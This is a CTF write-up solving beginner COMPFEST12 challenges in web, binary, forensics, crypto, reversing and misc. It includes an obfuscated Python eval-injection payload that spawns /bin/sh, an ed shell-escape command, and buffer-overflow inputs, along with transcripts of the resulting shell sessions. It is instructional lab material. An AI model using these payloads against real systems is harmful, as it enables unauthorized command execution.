Only Admin
Description
Only the admin can get the flag!
128.199.104.41:26025
Solution
First we need to visit the website that has given from the challenge description.
After visiting the web, we can check the admin cookie that the value is false.
After changing the cookie admin to true, we will get the flag.
Flag
Flag : COMPFEST12{congratz_haha_ez_admin_1ce9307db61}
Hash Hash Hashoo
Description
Bless you
128.199.104.41:27824
Solution
If we visit the website, we will get the results like this picture:
From the code that we get, the vulnerability is MD5 collision, where i found that on this article link. https://www.programmersought.com/article/2633234394/
1
md5([1,2,3]) == md5([4,5,6]) == NULL
Flag
Flag : COMPFEST12{md5_hashing_php_is_so_bad_3087c22}
References
Ketik ketik
Description
Gotta go fast!
128.199.104.41:25894
Solution
First, we need to visit the website and as you can see it was a typing game like Typer Shark and it using javascript to process our speed and accuracy when we type on the keyboard.
Then we can see at the network tab, the javascript will process the data and then making a POST request to http://128.199.104.41:29874/game
1
2
3
4
5
Request URL: http://128.199.104.41:29874/game
Request Method: POST
Status Code: 200 OK
Remote Address: 128.199.104.41:29874
Referrer Policy: no-referrer-when-downgrade
And at the next picture, we can see the data wil be send to the backend operation on the server.
We can also see that each answer have meaning like right, wrong, or no answer.
From this findings, we can use burpsuite, we can intercept the packet before it goes to the server.
Flag
Flag : COMPFEST12{you_sneaky_hacker_you!}
Easy Buffer Overflow
Description
Here’s the most basic concept in binary exploitation, the buffer overflow! Connect to the service (using netcat or other tools), and get the flag!
Note: The service will run the given binary easy_buffer_overflow
nc 128.199.104.41 29458
Solution
To solve this challenge, i running this python2 script. Where the limit of the character is only 10 characters. And if we input 4 characters more, we will overflow the return address so it will return to different address location.
1
2
string = "A*10+"BBBB"
print string
1
2
3
4
nox237@nox237:~/Documents/CTF/130720_Compfest/Hacker_Class/Binary_Exploitation/Easy_Buffer_Overflow$ cat exploit | nc 128.199.104.41 29458
Enter a number (Max 10 digits)
Hi, here is your flag
COMPFEST12{That_was_ez_right_76a7fb}
Flag
Flag : COMPFEST12{That_was_ez_right_76a7fb}
Tempat Kembali
Description
Dont worry, its not a python heap exploitation or what not. Its a buffer overflow (sort of).
nc 128.199.104.41 29951
Solution
To solve this challenge, first i need to search the maximum character that we can input to the buffer.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python3
def normal():
print('okay thanks uwu')
def winner():
print('Congratz, here is your flag: ' + open('flag.txt').read())
real_return_address = 'normal'
my_input = input('Enter your name (max 32 characters)\n').ljust(32, '\x00')
my_input += real_return_address
return_address = my_input[32:32+6]
try:
locals()[return_address]()
except:
print('SIGSEGV')
Then from the code we can see that the input will get insert to return address after 32 characters. Using that finding, we can get the flag for this challenge.
1
2
string = "A"*32+"winner"
print string
1
2
3
nox237@nox237:~/Documents/CTF/130720_Compfest/Hacker_Class/Binary_Exploitation/Tempat_Kembali$ python2 exploit.py | nc 128.199.104.41 29951
Enter your name (max 32 characters)
Congratz, here is your flag: COMPFEST12{changing_return_address_is_cool_and_powerful_just_wait_for_ROP}
Flag
Flag : COMPFEST12{changing_return_address_is_cool_and_powerful_just_wait_for_ROP}
Print aja
Description
Hey, print the flag for me, please!
Solution
To solve this challenge, i copy and paste the file content into python so the python code will read each hex value into ascii characters. It will print us the results like this picture below:
Flag
Flag: COMPFEST12{print_aja_gampang_kan_yah}
Batman and Nightwing
Description
Batman returns?
Solution
After download the challenge, we can extract the zip file and get the result like this picture below:
We can also see the script.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import os
flag = open('flag.txt').read()
ekwk = bin(int(flag.encode('hex'), 16)).strip('0b')
# print ekwk
for i in range(len(ekwk)):
if ekwk[i] == '1':
os.system('cp batman.png {}.png'.format(i))
elif ekwk[i] == '0':
os.system('cp nightwing.png {}.png'.format(i))
os.system('rm flag.txt')
Melihat cara kerja tersebut, batman dan nightwing bekerja layaknya seperti binary. Sehingga yang saya lakukan adalah menggunakan metode sha1sum. Dimana sha1sum tersebut akan memberikan hasil yang unik pada batman dan nightwing lalu memasukkannya dalam sebuah file sehingga tinggal kita read.
From that script.py, we can see that “batman and nightwing” picture is like binary number. To solve this, the solution that i used is using sha1sum command in linux. Where the sha1sum will give us unique hash for each files (batman and nightwing picture) then insert it into python code to decompile the binary.
1
for i in {0..358}; do sha1sum $i.png; done > ../sha1sum.txt
From sha1sum.txt, we can make it to dictionary where it functions is to change the hash into 1 or 0 that represents the binary system. After that we can read and change each hash to binary. After changing to binary, we can reverse the code above into the flag that we are looking for.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import binascii
batman_dictionary = {"483d5d0debf0245951800876ead6d722c8a38e86":"1","a14b1db1282eb16d8ece9d75faa1e7f774adf07d":"0"}
f = open("sha1sum.txt","r")
batman_list = f.read().split()
f.close()
binary = ""
for string in batman_list:
binary += batman_dictionary[string]
# print(binary)
integer = int(binary, 2)
hex_batman = hex(integer)
print(binascii.unhexlify(hex_batman[2:]).decode())
Flag
Flag : COMPFEST12{ceritanya_lagi_iseng_doang_ekwkwk}
Batman
Description
Find something. You’ll probably need a famous steganography tool to do so
Solution
Using binwalk command, we can extract the file that contains in batmanplusplus.png
1
2
3
4
5
6
7
8
nox237@nox237:~/Documents/CTF/130720_Compfest/Hacker_Class/Forensics/Batman$ binwalk batmanplusplus.png
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 513 x 368, 8-bit/color RGBA, non-interlaced
192322 0x2EF42 PNG image, 827 x 331, 8-bit/color RGB, non-interlaced
192413 0x2EF9D Zlib compressed data, compressed
I don’t know if this happen on me or you too. But if we extract the files using flag -e on our binwalk command, we only get the Zlib file. To get the file we can use flag –dd=”.*“, where we can get the png file too.
Flag
Flag : COMPFEST12{ekwkwkwkkwk}
References
Network 1
Description
Time to learn what pcap files are!
Solution
To solve this challenge, we need to open the .pcap file using wireshark. Then after i analyze the packet inside the .pcap file, we see that it will GET request to a HTTP server.
Then using export objects function, we can download the flag.png and get the flag.
Flag
Flag : COMPFEST12{3xp0rt_http_obj_e2}
RSA is EZ
Description
Time to learn what RSA is! Here’s some help, courtesy of me, the guy writing this.
https://en.wikipedia.org/wiki/RSA_(cryptosystem)
Solution
The .txt file will contain RSA variable like this:
1
2
3
N: 8415585176331944770890697447889407107682842416990048034871540560346299758957847451425917174673749320615964220031435244600684984962572799318938834410939777
e: 65537
c: 1786307824629585273437772393180758862337539711854648852596448492421354797799006132748227920806015929832806927801339687233505834251424664486190121594659975
To solve this, i used tool that already publish on github to get the d (decrypt) number. Link: https://github.com/Ganapati/RsaCtfTool
1
2
nox237@nox237:~/Documents/CTF/130720_Compfest/Hacker_Class/Cryptography/RSA_is_EZ/RsaCtfTool$ python3 RsaCtfTool.py -n 8415585176331944770890697447889407107682842416990048034871540560346299758957847451425917174673749320615964220031435244600684984962572799318938834410939777 -e 65537 --createpub > ../key.pub
nox237@nox237:~/Documents/CTF/130720_Compfest/Hacker_Class/Cryptography/RSA_is_EZ/RsaCtfTool$ ./RsaCtfTool.py --publickey ../key.pub --private
After getting the private key, we can copy paste into the formula we already know. Using this method, we can get the key that used to decode.
1
2
3
4
5
6
7
nox237@nox237:~/Documents/CTF/130720_Compfest/Hacker_Class/Cryptography/RSA_is_EZ/RsaCtfTool$ ./RsaCtfTool.py --dumpkey --key ../private.pub
private argument is not set, the private key will not be displayed, even if recovered.
n: 8415585176331944770890697447889407107682842416990048034871540560346299758957847451425917174673749320615964220031435244600684984962572799318938834410939777
e: 65537
d: 3852033570648727882527108992504790185944884673159703082992454243088153259520758784651939243831692205702954723752756805019424984092124743160401166642536217
p: 81884890723839100444482815989398285579284675913916838202667165954650841461379
q: 102773357843438146889340595009699718240027844030512672487363551637051818965163
After getting the d number, we can decrypt the c variable and get the plain text. But when we decrypt we get this results:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import binascii
N = 8415585176331944770890697447889407107682842416990048034871540560346299758957847451425917174673749320615964220031435244600684984962572799318938834410939777
e = 65537
c = 1786307824629585273437772393180758862337539711854648852596448492421354797799006132748227920806015929832806927801339687233505834251424664486190121594659975
def dec_to_text(string):
text=""
for i in range(0,len(string),2):
text += chr(int(string[i:i+2]))
return text
d = 3852033570648727882527108992504790185944884673159703082992454243088153259520758784651939243831692205702954723752756805019424984092124743160401166642536217
m = pow(c,d,N)
print(m)
Based on the results, we will get a large number. To get the flag, i change the number into hex format and then change it again to string:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import binascii
N = 8415585176331944770890697447889407107682842416990048034871540560346299758957847451425917174673749320615964220031435244600684984962572799318938834410939777
e = 65537
c = 1786307824629585273437772393180758862337539711854648852596448492421354797799006132748227920806015929832806927801339687233505834251424664486190121594659975
def dec_to_text(string):
text=""
for i in range(0,len(string),2):
text += chr(int(string[i:i+2]))
return text
d = 3852033570648727882527108992504790185944884673159703082992454243088153259520758784651939243831692205702954723752756805019424984092124743160401166642536217
m = pow(c,d,N)
m_hex = binascii.unhexlify(hex(m)[2:])
print(m_hex.decode())
Flag
Flag : COMPFEST12{rsa_isnt_that_hard_as_long_as_you_know_how_it_works!}
Single XOR encryption
Description
XOR is a common function used in cryptography. It’s (sorta) random, but also reversable (if you have enough data). For this problem, the flag has been xored with a single byte.
Solution
Based on this article https://stackoverflow.com/questions/41819489/single-byte-xor-cipher-python, we can find out that the string we need to unhexlify first. Then we can get the code below:
1
2
3
4
5
6
7
8
import binascii
string = "5c50524f595a4c4b2e2d647a5e2a664047704d2c7b407c4d466f2862"
nums = binascii.unhexlify(string)
strings = [''.join(chr(num ^ key) for num in nums) for key in range(256)]
for string in strings:
print(string)
And we will find this results:
We can modified the code to automatically get the flag for us:
1
2
3
4
5
6
7
8
9
10
import binascii
string = "5c50524f595a4c4b2e2d647a5e2a664047704d2c7b407c4d466f2862"
nums = binascii.unhexlify(string)
strings = [''.join(chr(num ^ key) for num in nums) for key in range(256)]
for string in strings:
if "compfest" in string:
print(string)
break
Flag
Flag : compfest[EaYxOrDCryP]
Math function
Description
Reverse engineering a function. Simple and basic
Solution
Based on the script, we will get something like this:
1
2
3
4
5
6
7
8
9
10
import numpy as np
import hashlib
data = np.array([[50, 11, 18, 12], [18, 12, 23, 2], [21, 11, 35, 42], [47, 2, 12, 40]])
my_input = input()
password = np.array(list(map(ord, list(my_input[:4].ljust(4, '\x00')))))
result = list(np.matmul(data, password))
print(result)
if result == [7681, 4019, 7160, 8080]:
print("Congratz, here is your flag: COMPFEST12{" + hashlib.sha384(bytes(my_input.encode())).hexdigest() + "}")
To solve this challenge, we need to understand the code that have been given to us. After looking at the python script, we will see that the code is matrix multiplication, where we can use this formula
A . B = C
To inverse the formula, we can use this formula:
B = inverse(A) . C
Using that concepts, we can reverse the results to get the password.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import numpy as np
from numpy.linalg import inv
import hashlib
import math
result = np.array([7681, 4019, 7160, 8080])
data = np.array([[50, 11, 18, 12], [18, 12, 23, 2], [21, 11, 35, 42], [47, 2, 12, 40]])
password = list(np.matmul(inv(data),result))
print(password)
password_new = []
my_input = ""
for i in password:
password_new.append(round(i))
my_input += chr(int(round(i)))
password_new = np.array(password_new)
result2 = list(np.matmul(data,password_new))
print(result2)
if result2 == [7681, 4019, 7160, 8080]:
print("Congratz, here is your flag: COMPFEST12{" + hashlib.sha384(bytes(my_input.encode())).hexdigest() + "}")
Flag
Flag : COMPFEST12{c9ba50e8ec889ec57e3181a060f871968b3914b4e912f43d05113e901b7f555698c45871f96189cfc50062f0bd21f793}
Half Life 3
Description
Coding python is beautiful, they said. Reading it is easy, they said.
Solution
From the challenge script, we will provided the code like this:
1
(lambda x: print('Congratz, here is your flag: COMPFEST12{' + x + '}') if (lambda a: int((lambda b: ''.join([chr((ord(i)-97+1+(1^2))%26+97) for i in b]))(a), 36) if all([i in __import__('string').ascii_lowercase[-1:]+__import__('string').ascii_lowercase[:-1] for i in a]) else -1)(x) == 16166842727364078278681384436557013 else print('Nope'))(input().lower())
If we break the code above into several lines, we will end up like this:
1
2
3
4
5
6
7
8
9
10
11
def b(string):
temp = [chr((ord(i)-97+1+(1^2))%26+97) for i in string]
return ''.join(temp)
def a(string):
return int(b(string), 36) if all([i in __import__('string').ascii_lowercase[-1:]+__import__('string').ascii_lowercase[:-1] for i in string]) else -1
def x(string):
print('Congratz, here is your flag: COMPFEST12{' + string + '}') if a(string) == 16166842727364078278681384436557013 else print('Nope')
x(input().lower())
By parsing it like this, we can reverse the flow of this program more easily. We can see that the number to be compared is encryption using base36. Using online tools such as https://www.dcode.fr/base-36-cipher, We will get the string XLEXAEWRXXLEXLEVHVMKLX.
After getting that string, we can reverse the code to get the flag.
1
2
3
string = "XLEXAEWRXXLEXLEVHVMKLX".lower()
temp = [chr((ord(i)-97-1-(1^2))%26+97) for i in string]
print(''.join(temp))
Flag
Flag : COMPFEST12{thatwasntthathardright}
References
Penjara Python
Description
Sorta like escape but not
nc 128.199.104.41 20016
Solution
This payload frist, i got it from my teammates. The payload will look something like this:
1
'+__import__(chr(111)+chr(115)).system(chr(108)+chr(115))+'
Based on the article that i used as a reference, import is a built in function that will import library like the usual python script. Then after import, it will turn it into an object that we can used. For example the usual python script will be look like this:
1
2
import os
os.system('ls -la')
Then if we used the built in function, it will be something like this:
1
__import__("os").system("ls -la")
To avoid using (“) symbol, we can used chr function that will turn decimal into ascii character and ‘+’ operator. After that we can run the command like usual python script:
1
'+__import__(chr(111)+chr(115)).system(chr(47)+chr(98)+chr(105)+chr(110)+chr(47)+chr(115)+chr(104))+'
1
2
3
4
5
6
7
8
9
10
11
12
13
nox237@nox237:~/Documents/CTF/130720_Compfest/Hacker_Class/Misc/Penjara_Python$ nc 128.199.104.41 20016
'+__import__(chr(111)+chr(115)).system(chr(47)+chr(98)+chr(105)+chr(110)+chr(47)+chr(115)+chr(104))+'
whoami
nobody
ls -la
total 20
drwxr-xr-x 1 root root 4096 Aug 3 09:34 .
drwxr-xr-x 1 root root 4096 Aug 8 10:16 ..
-r--r--r-- 1 root root 4 Aug 3 09:32 flag
-r--r--r-- 1 root root 35 Aug 3 09:32 flag.txt
-r-xr-xr-x 1 root root 94 Aug 3 09:32 source.py
cat flag.txt
COMPFEST12{Injection_is_cool_right}
By looking at the source, we can see why the code will work:
1
2
3
4
5
6
7
cat source.py
#!/usr/bin/python3
del __builtins__.__dict__['open']
a = input()
eval("print('" + a + "')")
Inserting our payload will give us the results like this.
1
eval("print('" + __import__("os").system("/bin/sh") + "')")
Flag
Flag : COMPFEST12{Injection_is_cool_right}
References
- https://stackoverflow.com/questions/50610558/python-jail-no-output-over-xinetd
- https://medium.com/@mucomplex/python-jailbreak-mastery-4f759c9f1e8
- https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/
Netcat
Description
During CTF’s, sometimes there will be services that players have to connect to in order to get the flag. For web challenges, you can use the browser. However for binary exploitation, cryptography (sometimes), and other problems (forensics, reverse engineering, although it is rare for those challenges to have a service), you need a tool called netcat. Other tools exists, such as the socket library in python, however using netcat here should be enough.
Just connect, and you’ll get the flag.
nc 128.199.104.41 26163
Solution
To get this flag, we only need to netcat to the server that the IP and port is already provided in the challenge description:
Flag
Flag : COMPFEST12{Good_You_have_Netcat_or_atleast_a_way_to_interact_with_the_services_this_is_important_for_future_challenges}
Escape
Description
When you connect to the service, you are running ed. Escape and get the flag
nc 128.199.104.41 24064
Solution
Based on the article that i found on google (https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/), we can run our shell on ed operation. This can be done by giving !’/bin/sh’ as input.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
nox237@nox237:~/Documents/CTF/130720_Compfest/Hacker_Class/Misc/Escape$ nc 128.199.104.41 24064
!'/bin/sh'
whoami
ctf
cd /
ls -la
total 68
drwxr-xr-x 1 root root 4096 Jul 27 12:05 .
drwxr-xr-x 1 root root 4096 Jul 27 12:05 ..
-rwxr-xr-x 1 root root 0 Jul 27 12:05 .dockerenv
lrwxrwxrwx 1 root root 7 Jul 3 01:56 bin -> usr/bin
drwxr-xr-x 2 root root 4096 Apr 15 11:09 boot
drwxr-xr-x 5 root root 340 Aug 8 13:46 dev
drwxr-xr-x 1 root root 4096 Jul 27 12:05 etc
drwxr-xr-x 1 root root 4096 Jul 27 05:50 home
lrwxrwxrwx 1 root root 7 Jul 3 01:56 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Jul 3 01:56 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Jul 3 01:56 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 Jul 3 01:56 libx32 -> usr/libx32
drwxr-xr-x 2 root root 4096 Jul 3 01:57 media
drwxr-xr-x 2 root root 4096 Jul 3 01:57 mnt
drwxr-xr-x 2 root root 4096 Jul 3 01:57 opt
dr-xr-xr-x 335 root root 0 Aug 8 13:46 proc
drwx------ 2 root root 4096 Jul 3 02:00 root
drwxr-xr-x 1 root root 4096 Jul 6 21:56 run
lrwxrwxrwx 1 root root 8 Jul 3 01:56 sbin -> usr/sbin
drwxr-xr-x 2 root root 4096 Jul 3 01:57 srv
dr-xr-xr-x 13 root root 0 Aug 8 13:46 sys
drwxrwxrwt 1 root root 4096 Aug 13 14:40 tmp
drwxr-xr-x 1 root root 4096 Jul 3 01:57 usr
drwxr-xr-x 1 root root 4096 Jul 3 02:00 var
-rw-rw-r-- 1 root root 55 Jul 27 05:49 wkwkw_ini_flagnya
cat wkwkw_ini_flagnya
COMPFEST12{lol_pretty_useless_knowledge_if_you_ask_me}
Flag
Flag : COMPFEST12{lol_pretty_useless_knowledge_if_you_ask_me}